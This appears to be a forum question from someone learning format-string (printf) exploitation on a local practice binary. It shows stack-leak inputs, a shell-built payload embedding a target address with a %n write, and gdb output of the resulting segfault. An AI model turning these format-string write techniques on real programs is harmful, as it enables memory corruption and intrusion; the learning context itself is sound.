I am trying to learn more about printf vulnerability. I understand the theory but I am unable to put it into practice.
All my attempts to write a single byte into memory result in a Segmentation fault.
What is the most likely reason for the failure? My guess is that it may be some sort of protection in modern compilers/OS (I am running that on 64 bit Ubuntu Xenial), but I don't know much about it.
I am able to read stack. I found that that the call I am trying to exploit puts 6*4 bytes in front of my input:
Your choice: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x You entered: AAAA.00000001.00000005.f76c7d60.0000000a.09787008.ff9c9e48.41414141
I disassembled the binary and found the memory location(s) I want to change. I tried various addresses, both code and data with the same result. For instance, the address of the string Your choice: is
$ gdb -batch -ex "x/s 0x0804b795" ./a.out 0x804b795: "Your choice: "
I am able to write that address to the payload:
$ echo "the binary ignores the 1st line" > ./payload $ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%08x >> ./payload $ cat payload - | ./a.out Your choice: You entered: ?.00000001.00000005.f76f5d60.0000000a.09844008.ff8ff1d8.0804b795
Then I replace the last
%n to write into that address. The number of printed chars would be 4 (for the address) + 6 * 8 (padded %x) + 7 (dots) = 59 which puts the value to be written in ASCII range; 59 stands for semicolon - a suitable character to write into a string.
$ echo "the binary ignores the 1st line" > ./payload $ echo $(printf "\x95\xb7\x04\x08").%08x.%08x.%08x.%08x.%08x.%08x.%n >> ./payload $ cat payload | ./a.out
To my best knowledge that should work and I was hoping to see ;our choice prompt on next iteration but I am getting
Your choice: You entered: Segmentation fault
$ gdb a.out (gdb) run < payload Your choice: You entered: Program received signal SIGSEGV, Segmentation fault. 0xf7e58dff in vfprintf () from /lib32/libc.so.6 (gdb) bt #0 0xf7e58dff in vfprintf () from /lib32/libc.so.6 #1 0xf7e5df66 in printf () from /lib32/libc.so.6 #2 0x080487b4 in getInput () #3 0x0804b206 in programMain () #4 0x0804b3b0 in main ()
What am I missing? What else can I check?